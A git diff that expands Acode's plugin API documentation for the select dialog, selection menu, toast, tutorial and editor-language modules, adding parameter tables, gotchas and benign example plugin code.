-| `letters` | String | Shows letter initials as an icon (when icon='letters') |
-| `checkbox` | Boolean | Adds a checkbox to the option when set |
+| `value` | any | Returned **verbatim** when the row is selected. May be a string, number or object. A row with no `value` is not selectable. |
+| `text` | String | Display text shown to the user. Inserted as HTML, then DOMPurify-sanitized. |
+| `subText` | String | Secondary line rendered under `text`. <Badge type="tip" text="new" /> |
+| `icon` | String | CSS class for the icon, or the literal `'letters'` to use the `letters` parameter. Ignored when `fileIcon` is set. |
+| `fileIcon` | `{name: string, kind?: "file" \| "folder"}` | Renders the icon from Acode's file-icon registry, and keeps it live if the registry re-renders. <Badge type="tip" text="new" /> |
+| `className` | String | Extra class added to the row's `<li>`. |
+| `title` | String | Native tooltip; also set as the row's `aria-label`. |
+| `disabled` | Boolean | Whether the option can be selected (object format only — see the warning above for the array format). |
+| `letters` | String | Shows letter initials as an icon (when `icon: 'letters'`). |
+| `checkbox` | Boolean | Renders a checkbox in the row's tail slot. `false` renders an **unchecked** checkbox, `null`/`undefined` renders no tail. |
+| `tailElement` | HTMLElement | Custom element rendered in the tail slot instead of the checkbox. |
+| `ontailclick` | `(event: Event) => void` | Click handler for `tailElement`. Called with the row element as `this`; the click does not select the row. |
 
 ### `options` (Object | Boolean)
 Configure dialog behavior:
 
 | Option | Type | Default | Description |
 |--------|------|---------|-------------|
-| `hideOnSelect` | Boolean | `true` | Close dialog after selection |
-| `textTransform` | Boolean | `false` | Apply text transformation to options |
-| `default` | String | `null` | Pre-selected option value |
-| `onCancel` | Function | `null` | Called when dialog is cancelled |
-| `onHide` | Function | `null` | Called when dialog is hidden |
+| `hideOnSelect` | Boolean | `true` | Close the dialog after a selection. |
+| `textTransform` | Boolean | `false` | Select rows are uppercased by the theme. `false` adds the `no-text-transform` class, which restores `text-transform: initial`. Set `true` to keep the uppercase default. |
+| `default` | any | `undefined` | Pre-selected option value. The matching row gets the `selected` class, is scrolled into view and receives focus. Compared with `===`. |
+| `className` | String | `""` | Extra class on the dialog root (`.prompt.select`). <Badge type="tip" text="new" /> |
+| `onCancel` | Function | `undefined` | Called when the dialog is cancelled (backdrop tap or Android Back / Esc). |
+| `onHide` | Function | `undefined` | Called whenever the dialog hides, **including after a normal selection**. |
 
-Pass `true` to reject the promise on cancel instead of using an object.
+Pass `true` instead of an object to reject the promise on cancel. The rejection value is `undefined`, and every other option is then left at its default.
 
 ## Examples
 
@@ -84,9 +124,9 @@ const result = await select('Pick a color', ['Red', 'Green', 'Blue']);
 ### Rich Selection
 ```javascript
 const items = [
-  ['edit', 'Edit File', 'edit', false],
-  ['delete', 'Delete File', 'delete', false],
-  ['share', 'Share File', 'share', true]
+  {value: 'edit', text: 'Edit File', icon: 'edit'},
+  {value: 'delete', text: 'Delete File', icon: 'delete'},
+  {value: 'share', text: 'Share File', icon: 'share', disabled: true}
 ];
 
 const options = {
@@ -119,11 +159,67 @@ const users = [
 const selectedUser = await select('Choose User', users);
 ```
 
+### Per-row tail action <Badge type="tip" text="new" />
+
+```javascript
+const select = acode.require('select');
+
+const clearBtn = document.createElement('span');
+clearBtn.className = 'icon clearclose';
+// `data-action` on the tail tells select.js to swallow the click
+// instead of selecting the row.
+clearBtn.setAttribute('data-action', 'clear');
+
+const items = recentFiles.map((file) => ({
+  value: file.url,
+  text: file.name,
+  subText: file.location,
+  title: file.url,
+  fileIcon: {name: file.name, kind: 'file'},
+  tailElement: clearBtn.cloneNode(),
+  ontailclick(e) {
+    const $row = e.currentTarget.closest('.tile');
+    $row?.remove();
+    removeRecent(file.url);
+  },
+}));
+
+const url = await select('Open recent', items, {textTransform: false});
+```
+
 ## Return Value
-The `value` of the selected item as a string, or rejects if cancelled with `rejectOnCancel: true`.
+The `value` of the selected item exactly as you supplied it — commonly a string, but any type passes through unchanged. If the dialog is dismissed it rejects with `undefined` when you passed the boolean shorthand `true`, otherwise the promise stays **pending** unless `onCancel` is set.
+
+| Interaction | Outcome |
+| --- | --- |
+| **Row tap** | Resolves with that row's `value` |
+| **Row with `value === undefined`** | Nothing happens — the click handler returns early |
+| **`disabled` row** | Gets the `.disabled` class, which sets `pointer-events: none` and reduced opacity, so it is inert to touch |
+| **Backdrop tap** | Cancels: calls `onCancel`, then rejects only when `rejectOnCancel` is set |
+| **Android Back / Esc** | Same as backdrop tap — the action stack entry *is* the cancel handler |
 
 ## Notes
 
-- When using checkboxes, consider setting `hideOnSelect: false` to allow multiple selections
-- The dialog automatically scrolls to the default selected option when opened
-- Use the `letters` parameter with `icon: 'letters'` to display initials as avatars
+- `onHide` fires on **every** close, including a successful selection. Use `onCancel` if you only care about dismissal.
+- Focus starts on the `default` row, or on the first row when no `default` is given.
+- `text` is sanitized HTML, so you may embed small markup; scripts are stripped.
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **`hideOnSelect: false` does not collect multiple selections.** The promise resolves on the *first* row tap; later taps call `res()` on an already-settled promise and are discarded. It only keeps the list on screen. For real multi-select, keep your own state and toggle it from each row's `ontailclick`/`onchange`.
+- **Array-format `disabled` is inverted.** `['v', 'Text', null, true]` produces an **enabled** row, and `['v', 'Text', null, false]` produces a **disabled** one — because `select.js` reassigns `disabled = !o` for every boolean past index 1. Worse, `['v', 'Text', null, true, null, false]` disables the row because the trailing `checkbox: false` is the last boolean seen. Use the **object format** if you need `disabled` or `checkbox`.
+- **Checkboxes live inside the clickable row.** The tail is appended inside the same `<li>` that carries the click handler, so ticking a checkbox also selects the row and resolves the promise.
+- **`disabled` is applied as a class, not a check.** The click handler never re-reads the flag; it is the `.disabled` CSS rule (`pointer-events: none`) that makes the row inert. Don't treat it as a security boundary.
+- **Cancel leaves the promise pending by default.** Without `onCancel` or the boolean `true` shorthand, dismissing the dialog means your `await` never continues — a classic source of "frozen plugin" reports.
+- **The action-stack id is fixed (`"select"`).** Only one select is tracked for Back / Esc at a time, so nested selects can fight over dismissal.
+
+## See also
+
+- [`confirm`](./confirm.md) — yes/no dialog
+- [`prompt`](./prompt.md) — free-text input
+- [`multiPrompt`](./multi-prompt.md) — many inputs in one dialog
+- [`alert`](./alert.md) — message with a single OK button
+- [`colorPicker`](./color-picker.md) — pick a color
+- [`dialogBox`](./custom-dialog.md) — build your own dialog
+- [`loader`](./loader.md) — progress dialog
+- [File Icons](../../utilities/file-icons.md) — what `fileIcon` resolves through
\ No newline at end of file
diff --git a/docs/ui-components/selection-menu.md b/docs/ui-components/selection-menu.md
index 7bcb6b3..b9cd837 100644
--- a/docs/ui-components/selection-menu.md
+++ b/docs/ui-components/selection-menu.md
@@ -2,18 +2,78 @@
 
 The Selection Menu in Acode appears when you select any text within the editor. This UI component allows you to enhance the functionality of text selection by adding custom actions to the selection menu.
 
+## Import
+
+```js
+const selectionMenu = acode.require('selectionMenu');
+```
+
+:::info
+`selectionMenu` is registered with `this.define("selectionMenu", selectionMenu)`, so the module **is** the menu-builder function itself, with `.add()` and `.exec()` attached to it. There is no wrapper object.
+
+`acode.require` lower-cases the module name, so `acode.require('selectionmenu')` returns the same function.
+:::
+
 ## Methods
 
-### `add(onclick: () => void, text: string, mode: 'selected' | 'all', readOnly: boolean)`
+### `add(onclick: () => void, text: string | HTMLElement, mode: 'selected' | 'all', readOnly: boolean, options: { id?: string, label?: string }): void`
 
 The `add` method allows you to add new items to the selection menu. It takes the following parameters:
 
-- **onclick**: A function that gets executed when the menu item is clicked.
-- **text**: The icon or text to display in the menu.
-- **mode**: Specifies when this item should be shown in the selection menu. The possible values are:
-  - `'selected'`: Show when some text is selected.
-  - `'all'`: Show regardless of text selection.
-- **readOnly**: A boolean value that determines whether the item should be shown in read-only mode.
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `onclick` | `() => void` | Yes | – | A function that gets executed when the menu item is clicked. Called with **no arguments**. |
+| `text` | `string` \| `HTMLElement` | Yes | – | The icon or text to display in the menu. A `string` becomes the row's text (and its label fallback); a `Node` is `cloneNode(true)`-ed into the button. |
+| `mode` | `'selected' \| 'all'` | No | `'all'` | Specifies when this item should be shown in the selection menu. The possible values are:<br>`'selected'` — only when some text is selected.<br>`'all'` — regardless of text selection. |
+| `readOnly` | `boolean` | No | `false` | A boolean value that determines whether the item should be shown in read-only mode. `true` means **"show it in a read-only editor"**. |
+| `options` | `{ id?: string, label?: string }` | No | `{}` | Display metadata, spread onto the item after `onclick`/`text`/`mode`/`readOnly`. |
+
+**Returns:** `undefined`. The item is pushed onto a module-level array, so there is no handle and no remove API.
+
+### `exec(command: string): void`
+
+Runs a CodeMirror command on the active editor, then focuses the editor if it is editable.
+
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `command` | `string` | Yes | – | A CodeMirror command name, e.g. `"copy"`, `"cut"`, `"paste"`, `"selectall"`, `"share"`, `"undo"`, `"redo"`. |
+
+`command === "selectall"` additionally scrolls to the end of the document, re-applies the selection and re-arms the touch selection menu.
+
+**Returns:** `undefined`.
+
+:::warning
+`exec` reads `editorManager.editor` without a guard. With no active editor it throws a `TypeError`, and it always targets the **active** editor — never the file a plugin opened itself.
+:::
+
+### `selectionMenu(options?: { codeActionsAvailable?: boolean, lspActionsAvailable?: boolean }): SelectionMenuItem[]`
+
+The module itself is also callable. It builds the **complete** item list that the editor's touch selection menu renders — the built-in entries first, then every item registered through `add()`.
+
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `options` | `object` | No | `{}` | See the table above for `codeActionsAvailable` (default `true`) and `lspActionsAvailable` (default `true`). |
+
+**Returns:** an array of `{ onclick, text, mode, readOnly, ...options }` objects.
+
+:::tip
+Plugins normally only need `add`. The app calls `selectionMenu({ codeActionsAvailable, lspActionsAvailable })` itself every time the menu opens (`src/cm/touchSelectionMenu.js`), which is why items registered later still appear.
+:::
+
+### Built-in items
+
+| `id` | Icon | `mode` | `readOnly` | Notes |
+|---|---|---|---|---|
+| `copy` | `icon copy` | `selected` | `true` | Editor `copy` command |
+| `cut` | `icon cut` | `selected` | `false` | Editor `cut` command |
+| `paste` | `icon paste` | `all` | `false` | Editor `paste` command |
+| `select-all` | `icon text_format` | `all` | `true` | Editor `selectall` command |
+| `share` | `icon share` | `selected` | `true` | Only present when `appSettings.get("showShareButton")` is truthy |
+| `insert-color` | `icon color_lenspalette` | `all` | `false` | Calls `acode.exec("insert-color", color)` |
+| `code-actions` | `icon lightbulb` | `all` | `true` | Only present when `codeActionsAvailable` is truthy (default `true`) |
+| `lsp-actions` | `icon zap` | `all` | `true` | Only present when `lspActionsAvailable` is truthy (default `true`) |
+
+Everything registered with `add()` is appended **after** these, in registration order.
 
 ### Example
 
@@ -28,3 +88,127 @@ const onclick = () => {
 // Adding a new item to the selection menu
 selectionMenu.add(onclick, 'Hi', 'all');
 ```
+
+## How items are filtered and placed <Badge type="tip" text="new" />
+
+The editor filters and partitions the array before rendering:
+
+1. **Read-only editors** drop every item whose `readOnly` is falsy.
+2. **No selection** drops every item whose `mode` is `'selected'`. When there *is* a selection, a `mode` that is neither `'selected'` nor `'all'` is also dropped.
+3. **Primary row vs. "More"** — only items whose `id` is one of `copy`, `cut`, `paste`, `select-all` render in the main toolbar row. **Every other item, including all plugin items, is placed in the overflow "More" grid** behind the keyboard-control button.
+4. The label used for `aria-label`, `title` and for menu re-render detection is `item.label`, then a non-empty `item.text` string, then the `aria-label` / `title` / `textContent` of an `Element` `text`, and finally the literal `"More action"`.
+
+## Complete Plugin Example <Badge type="tip" text="new" />
+
+```javascript
+acode.setPluginInit('com.example.texttools', () => {
+  const selectionMenu = acode.require('selectionMenu');
+  const sidebarApps = acode.require('sidebarApps');
+
+  const getSelection = () => {
+    const { state } = editorManager.editor;
+    const range = state.selection.main;
+    return state.sliceDoc(range.from, range.to);
+  };
+
+  // 1. Text action, only while something is selected.
+  selectionMenu.add(
+    () => {
+      const text = getSelection();
+      acode.require('toast')(`Selected ${text.length} characters`);
+    },
+    'Length',
+    'selected',
+  );
+
+  // 2. Icon-only action with an explicit label, also available read-only.
+  const icon = document.createElement('span');
+  icon.className = 'icon edit';
+  icon.title = 'Uppercase selection';
+
+  selectionMenu.add(
+    () => {
+      const { state, dispatch } = editorManager.editor;
+      const range = state.selection.main;
+      dispatch({
+        changes: {
+          from: range.from,
+          to: range.to,
+          insert: getSelection().toUpperCase(),
+        },
+      });
+    },
+    icon,
+    'selected',
+    true,
+    { id: 'example.uppercase', label: 'Uppercase selection' },
+  );
+
+  // 3. Editor command shortcut, shown whether or not there is a selection.
+  selectionMenu.add(
+    () => selectionMenu.exec('undo'),
+    'Undo',
+    'all',
+    false,
+    { id: 'example.undo', label: 'Undo' },
+  );
+
+  sidebarApps.add(
+    'notes',
+    'com.example.texttools',
+    'Text Tools',
+    (container) => {
+      container.innerHTML = '<p>Open the sidebar to see selection tools.</p>';
+    },
+  );
+});
+```
+
+## Gotchas
+
+:::warning
+There is **no** remove/unregister API. `add()` pushes onto a module-level array that lives for the whole app session, so items cannot be taken back. Register once, on plugin load, and guard with a flag if your `init` can run twice.
+:::
+
+:::warning
+Every plugin item lands in the overflow **"More"** grid, not the primary toolbar row, because partitioning is keyed on `id` and only `copy` / `cut` / `paste` / `select-all` are treated as primary. Do not invent an `id` like `"copy"` to escape this — you would collide with the built-in row.
+:::
+
+:::warning
+`readOnly: true` means **"visible in read-only editors"**, not "read-only action". If you leave it `false` (the default) the item disappears entirely as soon as the file is opened read-only.
+:::
+
+:::warning
+`onclick` is invoked with no arguments (`item.onclick?.()`). The built-in "insert color" row declares a `color` parameter, but no caller supplies one in this menu.
+:::
+
+:::tip
+The editor re-renders the menu only when the set of visible items changes (it compares `id`/label values). Give every item a stable `id` and `label` so identical-looking items do not force needless rebuilds, and so the row has a real accessible name.
+:::
+
+## Built-in Icons <Badge type="tip" text="new" />
+
+| Icon class | Used by | Markup |
+|---|---|---|
+| `copy` | Copy row | `<span class="icon copy">` |
+| `cut` | Cut row | `<span class="icon cut">` |
+| `paste` | Paste row | `<span class="icon paste">` |
+| `text_format` | Select all row | `<span class="icon text_format">` |
+| `share` | Share row | `<span class="icon share">` |
+| `color_lenspalette` | Insert color row | `<span class="icon color_lenspalette">` |
+| `lightbulb` | Code actions row | `<span class="icon lightbulb">` |
+| `zap` | LSP actions row | `<span class="icon zap">` |
+| `keyboard_arrow_right` | LSP "go to definition/declaration/implementation/type definition" | `<span class="icon keyboard_arrow_right">` |
+| `linkinsert_link` | LSP "find references" | `<span class="icon linkinsert_link">` |
+| `edit` | LSP "rename symbol" | `<span class="icon edit">` |
+| `keyboard_control` | The "More" overflow toggler | `<span class="icon keyboard_control">` |
+| `arrow_back` | The "More" back button | `<span class="icon arrow_back">` |
+
+The complete catalogue of built-in icon classes — and `acode.addIcon` for your own — is in [Built-in Icons](../interface-apis/side-buttons.md#built-in-icons).
+
+## Related
+
+- [`acode`](../global-apis/acode.md) — `define` / `require` and `addCommand`
+- [Toast](./toast.md) and [Tutorial](./tutorial.md) — lightweight feedback for these actions
+- [Context Menu API](../interface-apis/context-menu.md) — for menus outside the text selection flow
+- [Sidebar Apps](../interface-apis/sidebar-apps.md) — a persistent home for selection tools
diff --git a/docs/ui-components/toast.md b/docs/ui-components/toast.md
index 6dec622..f4ec418 100644
--- a/docs/ui-components/toast.md
+++ b/docs/ui-components/toast.md
@@ -2,6 +2,10 @@
 
 This ui component help in showing toast messages for given time interval.
 
+::: info
+Verified against Acode **v1.13.5**: `src/components/toast/index.js`, `src/components/toast/style.scss`. Registered as the `toast` module (`acode.js`, `this.define("toast", toast)`) and assigned to `window.toast` in `src/main.js`. There is **no** `acode.toast()` method.
+:::
+
 ## Usage
 
 To use the `toast` component in your Acode plugin, you can require it using the following code:
@@ -16,7 +20,7 @@ Once you have the `toast` component, you can use it with the following syntax:
 toast('Hello, World!', 3000);
 ```
 
-:::info 
+::: info
 You can also use toast function directly from the global object without requiring it using acode.
 For eg:
 ```javascript
@@ -24,13 +28,72 @@ window.toast('Hello, World!', 3000);
 ```
 :::
 
+### Signature
+
+| Signature | Returns |
+| --- | --- |
+| `toast(message: string \| HTMLElement, duration?: number \| false, bgColor?: string, color?: string): void` | `undefined` — there is no id or handle |
+
+```js
+const toast = acode.require('toast');
+
+toast('Saved', 3000);                                   // auto-hide after 3s
+toast('Permanent', false);                              // sticky, with an ✕ button
+toast('Themed', false, '#17c', '#fff');                 // sticky + custom colours
+```
+
 ## Parameters
 
 - **msg (string):**
-  - The message to be displayed in the toast.
+  - The message to be displayed in the toast. An `HTMLElement` is also accepted and is appended as-is inside the `.message` span.
   
 - **milliSecond (number):**
   - The duration in milliseconds for which the toast should be displayed.
+  - Defaults to `0`, which the component turns into **3000 ms**. Pass `false` for a sticky toast that never auto-hides and shows a dismiss (`✕`) button instead.
+
+- **bgColor (string):**
+  - Optional CSS colour for the toast's inline `backgroundColor`.
+
+- **color (string):**
+  - Optional CSS colour for the toast's inline `color` (text).
+
+### Parameters at a glance
+
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `message` | `string \| HTMLElement` | Yes | — | Body content. |
+| `duration` | `number \| false` | No | `0` → **3000 ms** | Auto-hide delay. `false` = sticky + dismiss button. |
+| `bgColor` | `string` | No | theme default | Inline `background-color`. |
+| `color` | `string` | No | theme default | Inline `color`. |
+
+## Returns
+
+`toast()` returns `undefined`. The element it builds has private `show()` / `hide()` methods, but they are **not** returned to you.
+
+To dismiss the visible toast yourself, use the module-level `hide` that ships on the function itself:
+
+```js
+const toast = acode.require('toast');
+
+toast.hide();                 // hides whatever #toast is currently on screen
+```
+
+::: warning
+`toast.hide()` looks up `#toast` at call time, so it only ever affects the toast that is currently visible — toasts still sitting in the queue will surface afterwards.
+:::
+
+## Markup and placement
+
+| Detail | Value |
+| --- | --- |
+| Element id | `#toast` — only ever one attached at a time; the rest wait in an internal queue |
+| Position | `position: fixed`, `bottom: 10px`, horizontally centred (`left: 0; right: 0; margin: 0 auto`) |
+| Stacking | `z-index: 9999` |
+| Hit testing | `pointer-events: none` by default; becomes `pointer-events: all` only when the `clickable` attribute is `"true"` — which happens exactly when `duration` is `false` |
+| Sizing | `max-width: 80vw`, `max-height: 50vh`, `width: fit-content` |
+| Default colours | `background-color: rgba(9, 14, 29, 0.9)`, `color: white`, `border-radius: 4px` |
+| Inner markup | `<span class="message">…</span>` plus, for sticky toasts, `<button class="icon clearclose">` |
+| Animation | Slides up and scales in on show (spring), fades and drops out over 250 ms on hide |
 
 ## Example
 
@@ -43,4 +106,42 @@ toast('Hello, World!', 3000);
 window.toast('Hello, World!', 3000);
 ```
 
-This will display the message "Hello, World!" for 3 seconds (3000 milliseconds).
\ No newline at end of file
+This will display the message "Hello, World!" for 3 seconds (3000 milliseconds).
+
+### Sticky toast with custom colours
+
+```js
+const toast = acode.require('toast');
+
+// Stays until the user taps the ✕ button.
+toast('Reconnecting…', false, '#17c', '#fff');
+```
+
+### Dismissing programmatically
+
+```js
+const toast = acode.require('toast');
+
+toast('Working…', 3000);
+setTimeout(() => toast.hide(), 1000);
+```
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Toasts queue, they do not stack.** If a toast is already visible, the new one is pushed onto an internal queue and shown only when the previous one finishes hiding.
+- **Omitting `duration` gives you 3 seconds, not an infinite toast.** The parameter defaults to `0`, and `setTimeout(…, duration || 3000)` turns that into 3000 ms. Use `false` for sticky.
+- **No handle, no id, no chaining.** The return value is `undefined`, so you cannot target an individual toast — only `toast.hide()` for the visible one.
+- **Dismiss buttons only appear with `duration: false`.** With any number, the toast is not clickable (`pointer-events: none`).
+- **`bgColor` / `color` are inline styles** and override the stylesheet default (`rgba(9, 14, 29, 0.9)` with white text), so you own the contrast.
+- **`acode.toast()` does not exist.** Use `acode.require('toast')` or the global `window.toast`.
+
+## See also
+
+- [`alert`](./dialogs/alert.md) — blocking modal message
+- [`confirm`](./dialogs/confirm.md) — yes/no dialog
+- [`prompt`](./dialogs/prompt.md) — free-text input
+- [`select`](./dialogs/select.md) — pick from a list
+- [`loader`](./dialogs/loader.md) — long-running progress indicator
+- [`colorPicker`](./dialogs/color-picker.md) — pick a color
+- [`dialogBox`](./dialogs/custom-dialog.md) — build your own dialog
+- [`multiPrompt`](./dialogs/multi-prompt.md) — many inputs in one dialog
\ No newline at end of file
diff --git a/docs/ui-components/tutorial.md b/docs/ui-components/tutorial.md
index f4a10cb..a685019 100644
--- a/docs/ui-components/tutorial.md
+++ b/docs/ui-components/tutorial.md
@@ -8,6 +8,12 @@ The tutorial module provides functionality to display one-time tutorial messages
 const tutorial = acode.require('tutorial');
 ```
 
+:::info
+`tutorial` is registered with `this.define("tutorial", tutorial)`, so the module **is** the function itself — there is no wrapper object and no second call form. It is *not* a method on the `acode` object; `acode.tutorial` does not exist.
+
+`acode.require` lower-cases the module name, so `acode.require('Tutorial')` returns the same function. Unknown names return `undefined`, so guard the require if you also support older app versions.
+:::
+
 ## Usage
 
 The tutorial function shows a message only once to the user by storing its state in localStorage.
@@ -15,16 +21,25 @@ The tutorial function shows a message only once to the user by storing its state
 ### Syntax
 
 ```js
-tutorial(id: string, message: string | HTMLElement | Function)
+tutorial(id: string, message: string | HTMLElement | (hide: () => void) => HTMLElement): void
 ```
 
 ### Parameters
 
-- `id` (string): Unique identifier for the tutorial message
-- `message`: The content to display, can be:
-		- string: Plain text message
-		- HTMLElement: Custom HTML content
-		- Function: A function that returns HTMLElement and receives hide callback
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `id` | `string` | Yes | – | Unique identifier for the tutorial message. Used **verbatim** as the `localStorage` key. The stored value is always the string `"true"`. |
+| `message` | `string` \| `HTMLElement` \| `(hide: () => void) => HTMLElement` | Yes | – | The content to display. When it is a `function` it is called with the toast `hide` callback and its return value is used as the message. |
+
+The `message` value may be one of:
+
+- **string** — plain text message, inserted into the toast's `<span class="message">`
+- **HTMLElement** — custom HTML content
+- **Function** — receives the toast `hide` callback and must return the `HTMLElement` to display
+
+### Returns
+
+`undefined`. The function is **not** promise-based and never reports back whether the toast was actually shown, dismissed, or queued behind another toast.
 
 ### Example
 
@@ -54,9 +69,122 @@ tutorial('feature-intro', (hide) => {
 
 The message will only be shown once - subsequent calls with the same ID will not display the message again.
 
+## Execution Order <Badge type="tip" text="new" />
+
+The function is four lines long, and the order matters:
+
+| Step | Code | Effect |
+|---|---|---|
+| 1 | `if (localStorage.getItem(id) === "true") return;` | Early return. **Only** the exact string `"true"` suppresses the message — any other stored value still shows it. |
+| 2 | `localStorage.setItem(id, "true");` | The one-time flag is written **before** anything is rendered. |
+| 3 | `message = message(toast.hide)` | Only for the function form. The return value replaces `message`. |
+| 4 | `toast(message, false, "#17c", "#fff");` | Hands the content to the toast queue. |
+
+Acode itself uses it exactly this way when it wants a one-off hint:
+
+```js
+if (!isConsole && !localStorage.__init_runPreview) {
+	localStorage.__init_runPreview = true;
+	tutorial('run-preview', strings['preview info']);
+}
+```
+
+## Complete Plugin Example <Badge type="tip" text="new" />
+
+```js
+acode.setPluginInit('com.example.guide', () => {
+	const tutorial = acode.require('tutorial');
+	const ID = 'com.example.guide:welcome';
+
+	// 1. Plain one-time toast. Shown at most once per install.
+	tutorial(ID, 'Welcome! Open the sidebar to see the tour.');
+
+	// 2. Rich one-time toast with an explicit dismiss button.
+	const panel = document.createElement('div');
+	panel.innerHTML = '<h3>New in this release</h3><p>Right-click a tab for more actions.</p>';
+
+	const close = document.createElement('button');
+	close.textContent = 'Got it';
+	// The element form gets no hide callback, so close the toast yourself.
+	close.onclick = () => acode.require('toast').hide();
+	panel.appendChild(close);
+
+	tutorial('com.example.guide:whats-new', panel);
+
+	// 3. Opt-in re-show, e.g. from a command or a settings page.
+	acode.addCommand({
+		name: 'example.guide.showIntro',
+		description: 'Show the plugin intro again',
+		readOnly: false,
+		exec: () => {
+			localStorage.removeItem(ID); // reset the one-time flag
+			tutorial(ID, 'Welcome again!');
+			return true;
+		}
+	});
+});
+
+// Hide an in-flight tutorial toast when the plugin is unloaded.
+acode.setPluginUnmount('com.example.guide', () => {
+	const toast = acode.require('toast');
+	toast.hide();
+});
+```
+
 ## Notes
 
-- The tutorial state is persisted using localStorage
-- Messages are displayed as toast notifications
-- Default colors are blue (#17c) background with white (#fff) text
+- The tutorial state is persisted using localStorage, under the exact `id` string you pass
+- Messages are displayed as toast notifications via `toast(message, false, "#17c", "#fff")` — see [Toast](./toast.md)
+- Default colors are blue (`#17c`) background with white (`#fff`) text. They are hard-coded in the `tutorial` call, not configurable
+- The `duration` argument is `false`, so the toast **never auto-dismisses** and gets a `clearclose` dismiss button instead
 - The hide callback allows custom control of message dismissal
+- Toasts are queued: if another `#toast` is already on screen, yours is pushed onto a FIFO queue and shown when the previous one hides
+- The hide callback passed to the function form is `toast.hide` — the module-level helper that closes whichever `#toast` element is currently mounted
+
+## Gotchas
+
+:::warning
+`id` is a raw, global `localStorage` key. Prefix it with your plugin id (`"com.example.plugin:welcome"`) or you can collide with another plugin or with the app, which uses bare keys such as `"run-preview"`.
+:::
+
+:::warning
+The flag is written *before* the toast is created. If your function `message` throws, or the toast never reaches the screen, the tutorial is still marked as seen and will never appear again.
+:::
+
+:::warning
+There is no reset API. To re-show a tutorial — for testing, or after a plugin update that changes the copy — delete the key yourself:
+
+```js
+localStorage.removeItem('com.example.plugin:welcome');
+```
+
+:::
+
+:::warning
+`toast.hide` targets the first `#toast` in the DOM, which is the *currently visible* one, not necessarily yours. If your tutorial toast is queued behind another toast, calling `hide` from your own button closes someone else's toast.
+:::
+
+## Built-in Icons <Badge type="tip" text="new" />
+
+`tutorial` takes no icon, but it renders the built-in toast chrome for you:
+
+| Icon class | Rendered by | Markup |
+|---|---|---|
+| `clearclose` | The toast dismiss button shown when `duration === false` | `<button class="icon clearclose">` |
+
+For custom icons inside your own toast content use a real element:
+
+```js
+const row = document.createElement('div');
+row.className = 'icon clearclose'; // any built-in icon class works here
+```
+
+The complete list of icon classes that ship with Acode, and how to register your own, is documented in [Built-in Icons](../interface-apis/side-buttons.md#built-in-icons).
+
+## Related
+
+- [`acode`](../global-apis/acode.md) — `define` / `require` and the command registry
+- [Toast](./toast.md) — the underlying component, including `toast.hide`
+- [Context Menu API](../interface-apis/context-menu.md) — richer UI than a toast
+- [Selection Menu](./selection-menu.md) — editor text-selection actions
+- [Side Buttons](../interface-apis/side-buttons.md) and [Sidebar Apps](../interface-apis/sidebar-apps.md) — persistent UI surfaces
diff --git a/docs/utilities/ace-modes.md b/docs/utilities/ace-modes.md
index 0718909..b6f61ba 100644
--- a/docs/utilities/ace-modes.md
+++ b/docs/utilities/ace-modes.md
@@ -34,6 +34,17 @@ editorLanguages.register(
 );
 ```
 
+**Returns** `undefined`. There is no success flag — a mode is registered even if the loader later rejects.
+
+| Argument | Type | Meaning |
+|---|---|---|
+| `name` | `string` | Mode id. Trimmed and lowercased. This becomes `file.currentMode` and the key used by `get()` / `listByName()`. |
+| `extensions` | `string \| string[]` | An array is joined with `\|`. Each `\|`-separated part is either a bare file extension (`js`, `mjs`, `zsh`) or an anchored exact filename prefixed with `^` (`^Dockerfile`, `^.babelrc`). Never include the dot. |
+| `caption` | `string` (optional) | UI label. Defaults to `name` with `_` replaced by spaces. |
+| `loader` | `() => Extension \| Promise<Extension>` (optional) | Returns the CodeMirror language extension. May be sync or async — Acode reconfigures the language compartment as soon as the promise settles. |
+
+**Filename → mode resolution order** (`getForPath` / `getModeForPath`): anchored and regex filename matches first, then extension matches ranked by specificity (a `^` pattern scores `1000 + pattern.length`, a bare extension scores its own length), then a linear `supportsFile()` scan, then the built-in `text` mode.
+
 ### `unregister(name)`
 
 Removes a previously registered language mode.
@@ -43,12 +54,56 @@ const editorLanguages = acode.require("editorLanguages");
 editorLanguages.unregister("myMode");
 ```
 
+**Returns** `undefined` — including when no such mode existed.
+
+### Full method table
+
+| Method | Aliases | Signature | Returns |
+|---|---|---|---|
+| `register` | `add` | `(name, extensions, caption?, loader?)` | `undefined` |
+| `unregister` | `remove` | `(name)` | `undefined` |
+| `list` | – | `()` | `Mode[]` — a copy of the array |
+| `listByName` | – | `()` | `Record<string, Mode>` — a shallow copy |
+| `get` | – | `(name)` | `Mode \| null` |
+| `getForPath` | – | `(path)` | `Mode` — always resolves, falling back to `text` |
+
+### The `Mode` object
+
+| Member | Type | Description |
+|---|---|---|
+| `name` | `string` | Normalized (trimmed, lower-cased) mode id |
+| `mode` | `string` | Alias of `name`, kept for Ace-era readers |
+| `caption` | `string` | UI label |
+| `extensions` | `string` | The `\|`-joined pattern string |
+| `aliases` | `string[]` | Normalized aliases (only set through `options.aliases`) |
+| `extRe` | `RegExp \| null` | Compiled filename matcher, or `null` when no patterns |
+| `filenameMatchers` | `RegExp[]` | Extra filename regexes |
+| `languageExtension` | `Function \| null` | The raw loader you supplied |
+| `supportsFile(filename)` | `(filename) => boolean` | Does this mode claim that filename? |
+| `getExtension()` | `() => Function \| null` | Returns `languageExtension` — the loader, **not** an extension |
+| `isAvailable()` | `() => boolean` | `languageExtension !== null` |
+
+::: warning
+There is no `$id`, no `Ace`-style mode object, and no synchronous "give me the parsed language" accessor. `getExtension()` returns the loader function, so resolving the actual extension is always `await mode.languageExtension()`.
+:::
+
 ## Apply A Mode To Active File
 
 ```javascript
 editorManager.activeFile?.setMode("myMode");
 ```
 
+`setMode(mode, { recommend: true })` sets `currentMode` to the resolved `Mode.name` and `currentLanguageExtension` to that mode's loader, then refreshes the tab icon. It emits the `changemode` event first and aborts if a listener calls `preventDefault()`; it also no-ops on non-editor files (custom tabs, default session).
+
+```js
+window.editorManager.on("file-loaded", (file) => {
+  file.on("changemode", (event) => {
+    console.log("mode ->", file.currentMode);
+    // event.preventDefault() cancels the change
+  });
+});
+```
+
 ## Legacy Alias (`aceModes`)
 
